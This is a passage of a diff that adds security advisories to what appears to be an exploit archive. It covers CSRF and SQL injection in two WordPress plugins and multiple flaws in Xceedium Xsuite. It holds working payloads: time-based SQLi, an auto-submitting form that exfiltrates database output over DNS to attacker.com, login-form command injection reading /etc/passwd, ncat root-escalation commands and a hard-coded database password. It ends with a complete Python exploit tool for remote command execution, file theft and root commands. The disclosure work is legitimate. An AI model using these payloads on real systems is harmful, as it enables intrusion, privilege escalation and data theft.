||||
<input type="hidden" name="data[urlVideo_ogv]" value='
|
||||
http://video-js.zencoder.com/oceans-clip.ogv' />
|
||||
<input type="hidden" name="data[catID]" value='4' />
|
||||
<input type="submit" value="submit" />
|
||||
</form>
|
||||
|
||||
<p>CSRF + SQLi - Retrieve Items (Edit Settings - Items Tab)</p>
|
||||
<form action="http://localhost/wp-admin/admin-ajax.php" method="post">
|
||||
<input type="hidden" name="action" value='unitegallery_ajax_action' />
|
||||
<input type="hidden" name="client_action" value='get_cat_items' />
|
||||
<input type="hidden" name="gallery_type" value='ug-carousel' />
|
||||
<input type="hidden" name="data[catID]" value='3' />
|
||||
|
||||
<!-- SQLi -->
|
||||
<input type="hidden" name="data[galleryID]" value='1 AND (SELECT * FROM
|
||||
(SELECT(SLEEP(5)))rock)' />
|
||||
<input type="submit" value="submit" />
|
||||
</form>
|
||||
|
||||
<p> CSRF + SQLi - Action buttons</p>
|
||||
<ul>
|
||||
<li>
|
||||
<a href="
|
||||
http://localhost/wp-admin/admin.php?page=unitegallery&view=items&galleryid=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))rock)
|
||||
">
|
||||
http://localhost/wp-admin/admin.php?page=unitegallery&view=items&galleryid=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))rock)
|
||||
</a></li>
|
||||
<li>
|
||||
<a href="
|
||||
http://localhost/wp-admin/admin.php?page=unitegallery&view=preview&id=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))rock)
|
||||
">
|
||||
http://localhost/wp-admin/admin.php?page=unitegallery&view=preview&id=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))rock)
|
||||
</a>
|
||||
</li>
|
||||
</ul>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
## Solution:
|
||||
|
||||
Upgrade to v1.5 or higher
|
||||
|
||||
## Disclosure Timeline:
|
||||
|
||||
2015-06-06 - Discovered. Reported to developer.
|
||||
2015-06-10 - Updated version released.
|
||||
2015-07-25 - Publishing disclosure on FD mailing list
|
||||
|
||||
## Disclaimer:
|
||||
|
||||
This disclosure is purely meant for educational purposes. I will in no way
|
||||
be responsible as to how the information in this disclosure is used.
|
59
platforms/php/webapps/37707.txt
Executable file
59
platforms/php/webapps/37707.txt
Executable file
|
@ -0,0 +1,59 @@
|
|||
Advisory ID: HTB23267
|
||||
Product: Count Per Day WordPress plugin
|
||||
Vendor: Tom Braider
|
||||
Vulnerable Version(s): 3.4 and probably prior
|
||||
Tested Version: 3.4
|
||||
Advisory Publication: July 1, 2015 [without technical details]
|
||||
Vendor Notification: July 1, 2015
|
||||
Vendor Patch: July 1, 2015
|
||||
Public Disclosure: July 22, 2015
|
||||
Vulnerability Type: SQL Injection [CWE-89]
|
||||
CVE Reference: CVE-2015-5533
|
||||
Risk Level: Medium
|
||||
CVSSv2 Base Score: 6 (AV:N/AC:M/Au:S/C:P/I:P/A:P)
|
||||
Solution Status: Fixed by Vendor
|
||||
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
|
||||
|
||||
-----------------------------------------------------------------------------------------------
|
||||
|
||||
Advisory Details:
|
||||
|
||||
High-Tech Bridge Security Research Lab discovered SQL Injection vulnerability in Count Per Day WordPress plugin, which can be exploited to execute arbitrary SQL queries in application’s database, gain control of potentially sensitive information and compromise the entire website.
|
||||
|
||||
The vulnerability is caused by insufficient filtration of input data passed via the "cpd_keep_month" HTTP POST parameter to "/wp-admin/options-general.php" script. A remote user with administrative privileges can manipulate SQL queries, inject and execute arbitrary SQL commands within the application’s database.
|
||||
This vulnerability can be exploited by anonymous attacker via CSRF vector, since the web application does not check origin of HTTP requests.
|
||||
|
||||
The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):
|
||||
|
||||
|
||||
<form action = "http://wordpress/wp-admin/options-general.php?page=count-per-day/counter-options.php&tab=tools" method = "POST" name="f1">
|
||||
<input type="hidden" name="collect" value="Collect old data">
|
||||
<input type="hidden" name="do" value="cpd_collect">
|
||||
<input type="hidden" name="cpd_keep_month" value="6 MONTH) AND 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- 2">
|
||||
<input value="go type="submit" />
|
||||
</form><script>document.f1.submit();</script>
|
||||
|
||||
|
||||
-----------------------------------------------------------------------------------------------
|
||||
|
||||
Solution:
|
||||
|
||||
Update to Count Per Day 3.4.1
|
||||
|
||||
More Information:
|
||||
https://wordpress.org/plugins/count-per-day/changelog/
|
||||
https://plugins.trac.wordpress.org/changeset/1190683/count-per-day
|
||||
|
||||
-----------------------------------------------------------------------------------------------
|
||||
|
||||
References:
|
||||
|
||||
[1] High-Tech Bridge Advisory HTB23267 - https://www.htbridge.com/advisory/HTB23267 - SQL Injection in Count Per Day WordPress Plugin.
|
||||
[2] Count Per Day WordPress plugin - https://wordpress.org/plugins/count-per-day/ - A statistics plugin which displays Visit Counter, shows reads and visitors per page, visitors today, yesterday, last week, last months and other statistics.
|
||||
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
|
||||
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
|
||||
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.
|
||||
|
||||
-----------------------------------------------------------------------------------------------
|
||||
|
||||
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
|
561
platforms/php/webapps/37708.txt
Executable file
561
platforms/php/webapps/37708.txt
Executable file
|
@ -0,0 +1,561 @@
|
|||
See also: http://www.modzero.ch/advisories/MZ-15-02-Xceedium-Xsuite.txt
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
modzero Security Advisory:
|
||||
Multiple Vulnerabilities in Xceedium Xsuite [MZ-15-02]
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
1. Timeline
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
* 2015-06-17: Vulnerabilities have been discovered
|
||||
* 2015-06-19: Vendor notified via support@xceedium.com
|
||||
* 2015-06-19: CVE IDs assigned
|
||||
* 2015-06-26: Public reminder sent via Twitter
|
||||
* 2015-06-26: Findings updated
|
||||
* 2015-07-22: Release after Xceedium did not respond within
|
||||
more than 15 business days
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
2. Summary
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
Vendor: Xceedium, Inc.
|
||||
|
||||
Products known to be affected:
|
||||
|
||||
* Xsuite 2.3.0
|
||||
* Xsuite 2.4.3.0
|
||||
* Other products and versions may be affected as well.
|
||||
|
||||
Severity: Overall High
|
||||
Remote exploitable: remote and local
|
||||
|
||||
The Xsuite system controls and audits privileged user access to
|
||||
computers in a network environment. Several vulnerabilities were
|
||||
identified in the solution. The vulnerabilities allow unauthenticated
|
||||
users to fully compromise an Xsuite host over the network.
|
||||
|
||||
The issues described below are only examples for vulnerability
|
||||
classes. The solution is systematically affected by similar issues.
|
||||
|
||||
CVE-2015-4664 to CVE-2015-4669 was assigned to these vulnerabilities
|
||||
and vulnerability classes.
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
3. Details
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
3.1 Command injection via the login form (Severity: High,
|
||||
CVE-2015-4664)
|
||||
|
||||
The login form is affected by a code injection vulnerability via
|
||||
the "id" POST parameter, which allows an unauthenticated attacker
|
||||
to inject Linux commands. These commands are executed with the
|
||||
privileges of the Linux user "www-data". The injected command's
|
||||
output is then sent back to the attacker.
|
||||
|
||||
An example HTTP request and response is shown below.
|
||||
|
||||
HTTP request:
|
||||
|
||||
POST /login.php HTTP/1.1
|
||||
Host: XXX.XXX.XXX.XXX
|
||||
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: https://XXX.XXX.XXX.XXX/
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 80
|
||||
|
||||
id=admin'|cat /etc/passwd||a%20%23|&pass=admin&authTypeOption=use_local&loginID=
|
||||
|
||||
|
||||
|
||||
HTTP response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Date: Wed, 17 Jun 2015 10:47:47 GMT
|
||||
Server: Apache
|
||||
X-Frame-Options: SAMEORIGIN
|
||||
Set-Cookie: PHPSESSID=6d5b0fbf8349caf10493f65e8f0b131b; path=/; secure; HttpOnly
|
||||
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
||||
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
||||
Pragma: no-cache
|
||||
Set-Cookie: PROXY_AUTH_FAILURE=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
|
||||
Strict-Transport-Security: max-age=365246060
|
||||
Content-Length: 2096
|
||||
Keep-Alive: timeout=150, max=300
|
||||
Connection: Keep-Alive
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
||||
[...]
|
||||
|
||||
|
||||
3.2 Cross-Site Scripting Vulnerability (Severity: Medium,
|
||||
CVE-2015-4665)
|
||||
|
||||
The following example shows a reflected cross-site scripting
|
||||
vulnerability that injects JavaScript code into a user's session.
|
||||
Here, the HTTP response contains a message, which seems to be JSON.
|
||||
However, the content type is "text/html". Thus, a web browser treats
|
||||
the server response as HTML code (fragment).
|
||||
|
||||
HTTP request:
|
||||
|
||||
GET /ajax_cmd.php?cmd=COMPLETGRAPHYRECORDING&fileName=<img%20src%3da%20onload%3dalert(1)> HTTP/1.1
|
||||
Host: XXX.XXX.XXX.XXX
|
||||
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Cookie: PHPSESSID=c4f6547d9d889336a7f4a9a953cc3815
|
||||
Connection: keep-alive
|
||||
|
||||
|
||||
HTTP response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Date: Thu, 18 Jun 2015 11:10:07 GMT
|
||||
Server: Apache
|
||||
X-Frame-Options: SAMEORIGIN
|
||||
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
||||
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
||||
Pragma: no-cache
|
||||
Strict-Transport-Security: max-age=365246060
|
||||
Content-Length: 70
|
||||
Keep-Alive: timeout=150, max=300
|
||||
Connection: Keep-Alive
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
|
||||
["Unable to find decryption key for file <img src=a onload=alert(1)>"]
|
||||
|
||||
|
||||
3.3 Directory traversal and File Download Vulnerability (Severity:
|
||||
Medium/High, CVE-2015-4666)
|
||||
|
||||
Due to insufficient input validation the "read_sessionlog.php" script
|
||||
is affected by a directory traversal vulnerability, which allows
|
||||
unauthenticated users to obtain any files that the user "www-data" is
|
||||
allowed to access. The script tries to cut the "../" pattern for
|
||||
relative directory addressing, but fails to sanitize specially
|
||||
crafted input. Hence, it is still possible to download files from the
|
||||
host by accessing the script as shown below:
|
||||
|
||||
https://XXX.XXX.XXX.XXX/opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd
|
||||
|
||||
The following code is part of the source code file
|
||||
/var/www/htdocs/uag/web/opm/read_sessionlog.php
|
||||
|
||||
[...]
|
||||
$file_path= $_REQUEST["logFile"];
|
||||
[...]
|
||||
|
||||
if (strpos($file_path, '/opt/rpath') !== 0) { $file_path = '/opt/rpath/' .$file_path; }
|
||||
|
||||
if($startByte < 1)
|
||||
$startByte=0;
|
||||
|
||||
if (isset($file_path)) {
|
||||
// make sure users cannot hack via ../../
|
||||
$file_path = preg_replace("/\.\.\//", "", $file_path);
|
||||
$file_path = stripslashes($file_path);
|
||||
// if the file does not exist, display it
|
||||
if (!is_file($file_path)) {
|
||||
echo 'File (' .$_REQUEST["logFile"]. ') does not exist.';
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
output_file($file_path, 'VT100LogA.txt', '', $startByte, $searchChar, $searchDir, $totalByte);
|
||||
[...]
|
||||
|
||||
|
||||
3.4 Privilege escalation via "/sbin/spadmind" (Severity: High,
|
||||
CVE-2015-4664)
|
||||
|
||||
The "spadmind" service allows local users to escalate their
|
||||
privileges to become "root". In combination with the command
|
||||
injection vulnerability from section 3.1, it is possible to run
|
||||
arbitrary commands as "root" user via the network.
|
||||
|
||||
The web interface runs under the privileges of the web server user.
|
||||
To execute privileged commands, the web interface sends text-based
|
||||
messages via a socket to the "spadmind" process. The "spadmind"
|
||||
process has a listening socket bound to localhost:2210 and reads in
|
||||
text lines, which are partially used as parameter for system command
|
||||
execution. Since the "spadmind" process does not validate the input,
|
||||
an attacker is able to inject commands that are executed with
|
||||
super-user privileges.
|
||||
|
||||
File: /sbin/spadmind
|
||||
|
||||
[...]
|
||||
# socket
|
||||
my $clsock = shift;
|
||||
# command and number of lines to process
|
||||
my $command = <$clsock>;
|
||||
my $numlines = <$clsock>;
|
||||
|
||||
chomp($command);
|
||||
chomp($numlines);
|
||||
[...]
|
||||
} elsif ($command eq 'expect') {
|
||||
chomp($line = <$clsock>);
|
||||
my $res = `expect $line`;
|
||||
if ($res =~ /(STATUS=\w+)/) {
|
||||
$resp = $1;
|
||||
} else {
|
||||
$resp = 'unknown';
|
||||
}
|
||||
[...]
|
||||
|
||||
In the quoted code above, running the command "expect" and allowing
|
||||
users to specify parameters is a vulnerability, because parameters
|
||||
could be passed via option "-c" to invoke shell commands.
|
||||
|
||||
$ echo -e "expect\n1\n-c garbage;id > /tmp/x23" | ncat --send-only 127.0.0.1 2210; sleep 1; cat
|
||||
/tmp/x23
|
||||
uid=0(root) gid=0(root)
|
||||
|
||||
$ echo -e "timezone\n1\n;id > /tmp/x42" | ncat --send-only 127.0.0.1 2210; sleep 1; cat /tmp/x42
|
||||
uid=0(root) gid=0(root)
|
||||
|
||||
|
||||
3.5 Hard-coded database credentials (Severity: Low, CVE-2015-4667)
|
||||
|
||||
The software uses hard-coded credentials at several places, which
|
||||
makes it unfeasible to change database credentials regularly.
|
||||
|
||||
$ grep -R n1b2dy .
|
||||
./uag/db/init/install-xio-uag-data.sql:SET PASSWORD FOR 'uaguser'@'localhost'=PASSWORD('n1b2dy');
|
||||
./uag/db/init/upgrade401SP2to402.pl:use constant LW_DBPASS => "n1b2dy";
|
||||
./www/htdocs/uag/web/activeActiveCmd.php: $res = mysql_connect("localhost", "uaguser",
|
||||
"n1b2dy");
|
||||
./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser",
|
||||
"n1b2dy");
|
||||
./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser",
|
||||
"n1b2dy");
|
||||
./www/htdocs/uag/web/activeActiveCmd.php: $res = mysql_connect("localhost", "uaguser", "n1b2dy");
|
||||
./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser",
|
||||
"n1b2dy");
|
||||
./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser",
|
||||
"n1b2dy");
|
||||
./www/htdocs/uag/web/ajax_cmd.php: $link = mysql_connect("localhost", "uaguser" ,"n1b2dy");
|
||||
./www/htdocs/uag/cgi/external_log_sync.php: $db_link_local = new mysqli("localhost", "uaguser",
|
||||
"n1b2dy", "uag");
|
||||
./www/htdocs/uag/config/db.php:$dbchoices = array("mysql", "uaguser", "n1b2dy");
|
||||
./www/htdocs/uag/services/main/common/Configuration.php: const K_DB_PASS_DEFAULT = 'n1b2dy';
|
||||
./www/htdocs/uag/functions/eula_check.php: $link = mysql_connect("localhost", "uaguser",
|
||||
"n1b2dy");
|
||||
./www/htdocs/uag/functions/eula_check.php: $link = mysql_connect("localhost", "uaguser",
|
||||
"n1b2dy");
|
||||
./www/htdocs/uag/functions/db.php: $dbchoices = array("mysql", "uaguser",
|
||||
"n1b2dy");
|
||||
./www/htdocs/uag/functions/remove_disabled_cron.pl: 'n1b2dy',
|
||||
|
||||
$ grep -R n1b2dy sbin
|
||||
sbin/logwatch:use constant LW_DBPASS => "n1b2dy";
|
||||
sbin/interrogate-vmware.pl: use constant DB_PASSWORD => 'n1b2dy';
|
||||
Binary file sbin/xcd_sshproxy matches
|
||||
Binary file sbin/xcd_upd matches
|
||||
Binary file sbin/vlmon matches
|
||||
Binary file sbin/sessd matches
|
||||
Binary file sbin/gksfdm matches
|
||||
Binary file sbin/xcdmsubagent matches
|
||||
sbin/logload:my $dbh = DBI->connect("DBI:mysql:uag", "uaguser", "n1b2dy") or die("Can not connect to
|
||||
the database\n");
|
||||
sbin/make-auth-token.pl: my $passwd = 'n1b2dy';
|
||||
sbin/rotate_coredumps.pl: my $passwd = 'n1b2dy';
|
||||
Binary file sbin/loadcrl matches
|
||||
sbin/ad_upd: $dbh = DBI->connect( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 } )
|
||||
sbin/ad_upd: my $db = DBI->connect( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 } )
|
||||
sbin/ad_upd: $dbh = DBI->connect_cached( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 }
|
||||
)
|
||||
sbin/rfscheck:use constant LW_DBPASS => "n1b2dy";
|
||||
sbin/auth.pl: 'n1b2dy',
|
||||
sbin/apwd: my $dbh = DBI->connect("DBI:mysql:uag", "uaguser", "n1b2dy") or return;
|
||||
sbin/update_crld:my($dbpass)="n1b2dy";
|
||||
sbin/update_crld: 'n1b2dy',
|
||||
|
||||
|
||||
3.6. No password for MySQL "root" user (Severity: High,
|
||||
CVE-2015-4669)
|
||||
|
||||
Local users can access databases on the system without further
|
||||
restrictions, because the MySQL "root" user has no password set.
|
||||
|
||||
$ python XceediumXsuitePoC.py --host XXX.XXX.XXX.XXX --cmd 'echo "update user set active = 0,
|
||||
passwd=sha1(\"myknownpw\") where u_name = \"mytargetuser\";"| mysql -u root uag'
|
||||
|
||||
|
||||
3.7 Open redirect (Severity: Low, CVE-2015-4668)
|
||||
|
||||
An attacker may craft a link to an Xsuite host that looks valid, but
|
||||
tricks the user and abuses an open redirect vulnerability in Xsuite
|
||||
to redirect a user to a third party web site, for example a web site
|
||||
with malware.
|
||||
|
||||
https://XXX.XXX.XXX.XXX/openwin.php?redirurl=%68%74%74%70%3a%2f%2f%77%77%77%2e%6d%6f%64%7a%65%72%6f%2e%63%68
|
||||
|
||||
File: /var/www/htdocs/uag/web/openwin.php
|
||||
|
||||
<?
|
||||
$redirurl = $_GET['redirurl'];
|
||||
|
||||
header('Location: ' .$redirurl);
|
||||
|
||||
?>
|
||||
|
||||
|
||||
3.8 Possible issues not further investigated
|
||||
|
||||
Passwords stored in the database are unsalted hashes, which reduces
|
||||
the attack complexity if an attacker has access to the database. The
|
||||
setup under invesatigation partially used MD5 and SHA1 hashes.
|
||||
|
||||
The web interface and scripts create SQL statements by concatenating
|
||||
strings and user-supplied input without proper input validation. This
|
||||
may result in SQL injections.
|
||||
|
||||
$ grep -i -R where . | grep -E '\$_(POST|GET)'
|
||||
./web/filter/filter_sfa.php: $query = "delete from socket_filter_mon where
|
||||
sfm_id='".$_GET['sfm_id']."'";
|
||||
./web/filter/filter_command_list.php: $query = "select * from cmd_list where
|
||||
id='".$_POST["s_list"]."'";
|
||||
./web/filter/filter_command_list.php: $query = "delete from cmd_list where
|
||||
id='".$_POST["s_list"]."'";
|
||||
./web/filter/filter_command_list.php: $query = "delete from cmd_keywords where
|
||||
list_id='".$_POST["s_list"]."'";
|
||||
./web/filter/filter_command_list.php: "where command_filter =
|
||||
'".$_POST["s_list"]."'";
|
||||
./web/filter/filter_command_list.php: $query = "select * from cmd_list where
|
||||
list_type='".$_POST['r_ltype']."' order by listname";
|
||||
./web/filter/filter_command_list.php: where id='".$_POST['id']."'";
|
||||
./web/filter/filter_command.php: $query = "update intervention_configuration set value =
|
||||
'".$_POST['number_warnings']."' where name = 'number_of_warnings'";
|
||||
./web/filter/filter_command.php: $query = "update intervention_configuration set value =
|
||||
'".$_POST['blacklist_action']."' where name = 'intervention_action'";
|
||||
./web/filter/filter_command.php: $query = "update intervention_configuration set value =
|
||||
'".$_POST['blacklist_intervention_message']."' where name = 'blacklist_intervention_message'";
|
||||
./web/filter/filter_command.php: $query = "update intervention_configuration set value =
|
||||
'".$_POST['whitelist_intervention_message']."' where name = 'whitelist_intervention_message'";
|
||||
./web/filter/filter_command.php: $query = "update intervention_configuration set value =
|
||||
'".$_POST['alert_email_message']."' where name = 'alert_email_message'";
|
||||
./web/socketFilterCmd.php: $res = mysql_query("SELECT h_id FROM host where hostID=" .
|
||||
$_GET['h_id']);
|
||||
./web/socketFilterCmd.php: $res = mysql_query("SELECT h_id FROM host where hostID=" .
|
||||
$_GET['h_id']);
|
||||
./web/socketFilterCmd.php: $query = "delete from rdp_lock where id='".$_GET['rdp_id']."'";
|
||||
./web/socketFilterCmd.php: $query = "select hostID from host where h_id =
|
||||
'".db_esc($_GET["device_name"])."'";
|
||||
./web/socketFilterCmd.php: where sess_id='".$_GET['PHPSESSID']."' and
|
||||
./web/socketFilterCmd.php: $query = 'SELECT seq FROM gkconnection WHERE sess_id = "' .$sessid.
|
||||
'" AND hostID = "' .$_GET['h_id']. '" AND pid IS NOT NULL';
|
||||
./web/socketFilterCmd.php: $query = 'SELECT seq FROM gkconnection WHERE sess_id = "'
|
||||
.$sessid. '" AND hostID = "' .$_GET['h_id']. '" AND pid IS NOT NULL';
|
||||
./web/socketFilterCmd.php: $query = 'SELECT seq FROM gkconnection WHERE sess_id = "'
|
||||
.$sessid. '" AND hostID = "' .$_GET['h_id']. '" AND pid IS NOT NULL';
|
||||
./web/ajax_cmd.php: $query = "select * from session where sess_id='".$_GET['param']."'";
|
||||
./web/ajax_cmd.php: WHERE hostID = '".$_GET['hostID']."'";
|
||||
./web/ajax_cmd.php: $query = 'SELECT u.userID FROM session AS s, user AS u WHERE s.u_name =
|
||||
u.u_name AND s.sess_id = "' .db_esc($_GET['sess_id']). '"';
|
||||
./web/dev/dev_ajax.php: $update_query = "UPDATE kta_settings set value = '".$_GET[$name]."' where
|
||||
name = '".$name."'";
|
||||
./web/dev/dev_group_ajax.php: if ($_POST['where'] == 'hosts' || $_POST['where'] == 'hosts_sel') {
|
||||
./web/dev/dev_group_ajax.php: $where = $_POST['where'];
|
||||
./web/dev/dev_group_ajax.php: if ($_POST['where'] == 'hosts' || $_POST['where'] == 'hosts_sel') {
|
||||
./web/dev/dev_group_ajax.php: $where = $_POST['where'];
|
||||
./web/dev/dev_group_ajax.php: if ($_POST['where'] == 'hosts' || $_POST['where'] == 'hosts_sel') {
|
||||
./web/dev/dev_group_ajax.php: $where = $_POST['where'];
|
||||
./features/dev_sfa.php: $query = "delete from socket_filter_mon where
|
||||
sfm_id='".$_GET['sfm_id']."'";
|
||||
./hconfig/functions/smartb.php: $query = "delete from smartb_cfg_files where fileName =
|
||||
'".$_POST["filename"]."'";
|
||||
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
4. Impact
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
The identified vulnerabilities allows any user to execute arbitrary
|
||||
commands as system super-user ("root"). Since the system is used to
|
||||
control other devices (for example, via RDP and SSH), an attacker
|
||||
would add malicous modification to the Java-based clients for RDP and
|
||||
SSH to exfiltrate access credentials for computers and to abuse these
|
||||
credentials in further steps.
|
||||
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
5. Proof of concept exploit
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
#!/usr/bin/python
|
||||
#
|
||||
# Proof of Concept Tool to Exploit Vulnerabilities in
|
||||
# Xceedium Xsuite
|
||||
#
|
||||
# Author: modzero AG, Switzerland
|
||||
#
|
||||
|
||||
import httplib2, urllib
|
||||
import re
|
||||
import base64
|
||||
from optparse import OptionParser
|
||||
|
||||
url = ''
|
||||
|
||||
def get_command_output(cmd):
|
||||
marker = '~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!'
|
||||
values = {
|
||||
'id' : "admin'| echo " + marker +"; " + cmd + " ; echo -n " + marker + "||X #",
|
||||
'pass' : 'foo',
|
||||
'authTypeOption' : 'use_local',
|
||||
'loginID' : '',
|
||||
}
|
||||
headers = {
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
}
|
||||
values = urllib.urlencode(values)
|
||||
h = httplib2.Http(disable_ssl_certificate_validation=True)
|
||||
resp, content = h.request(url, "POST", values, headers = headers)
|
||||
offset1 = content.find(marker) + len(marker)
|
||||
offset2 = content.rfind(marker, offset1 + 1)
|
||||
try:
|
||||
return base64.standard_b64decode(content[offset1:offset2])
|
||||
except:
|
||||
return content[offset1:offset2]
|
||||
|
||||
|
||||
def get_dir(retrieve_dir):
|
||||
fname = re.sub(r'\/', '_', retrieve_dir) + ".tgz"
|
||||
text_file = open(fname, "w")
|
||||
text_file.write(get_command_output("tar -czf - " + retrieve_dir + " | base64"))
|
||||
text_file.close()
|
||||
|
||||
def get_file(retrieve_file):
|
||||
fname = re.sub(r'\/', '_', retrieve_file)
|
||||
data = get_command_output("cat " + retrieve_file + " | base64")
|
||||
print data
|
||||
text_file = open(fname, "w")
|
||||
text_file.write(data)
|
||||
text_file.close()
|
||||
|
||||
def exec_cmd(cmd):
|
||||
data = get_command_output(cmd + " | base64")
|
||||
print data
|
||||
|
||||
def exec_root(cmd):
|
||||
data = get_command_output('echo -e "timezone\n1\n;' + cmd + ' > /tmp/.x" | ncat --send-only
|
||||
127.0.0.1 2210; sleep 1; cat /tmp/.x | base64')
|
||||
print data
|
||||
|
||||
def upload_file(fname, dst_file):
|
||||
with open(fname, 'r') as content_file:
|
||||
b64_content = base64.standard_b64encode(content_file.read())
|
||||
get_command_output("echo " + b64_content + " | base64 -d > " + dst_file)
|
||||
|
||||
def main():
|
||||
global url
|
||||
parser = OptionParser()
|
||||
parser.add_option("--host", dest="host", help="The host to attack")
|
||||
parser.add_option("--dir", dest="dir", help="The directory to retrieve")
|
||||
parser.add_option("--file", dest="file", help="The file to retrieve")
|
||||
parser.add_option("--cmd", dest="cmd", help="The command to execute")
|
||||
parser.add_option("--root", dest="root", help="The command to execute with root privileges")
|
||||
parser.add_option("--upload", dest="upload", help="A local file to upload")
|
||||
parser.add_option("--dst", dest="dst_file", help="The destination file for uploaded content")
|
||||
|
||||
(options, args) = parser.parse_args()
|
||||
|
||||
if options.host:
|
||||
url = 'https://%s/login.php' % (options.host)
|
||||
|
||||
if options.dir:
|
||||
get_dir(options.dir)
|
||||
elif options.file:
|
||||
get_file(options.file)
|
||||
elif options.cmd:
|
||||
exec_cmd(options.cmd)
|
||||
elif options.root:
|
||||
exec_root(options.root)
|
||||
elif options.upload:
|
||||
upload_file(options.upload, options.dst_file)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
6. Workaround
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
A workaround is not known.
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
7. Fix
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
It is not known to modzero, if a security fix is available.
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
8. Credits
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
* Martin Schobert (martin@modzero.ch)
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
9. About modzero
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
The independent Swiss company modzero AG assists clients with
|
||||
security analysis in the complex areas of computer technology. The
|
||||
focus lies on highly detailed technical analysis of concepts,
|
||||
software and hardware components as well as the development of
|
||||
individual solutions. Colleagues at modzero AG work exclusively in
|
||||
practical, highly technical computer-security areas and can draw on
|
||||
decades of experience in various platforms, system concepts, and
|
||||
designs.
|
||||
|
||||
https://www.modzero.ch
|
||||
|
||||
contact@modzero.ch
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
10. Disclaimer
|
||||
|
||||
---------------------------------------------------------------------
|
||||
|
||||
The information in the advisory is believed to be accurate at the
|
||||
time of publishing based on currently available information. Use of
|
||||
the information constitutes acceptance for use in an AS IS condition.
|
||||
There are no warranties with regard to this information. Neither the
|
||||
author nor the publisher accepts any liability for any direct,
|
||||
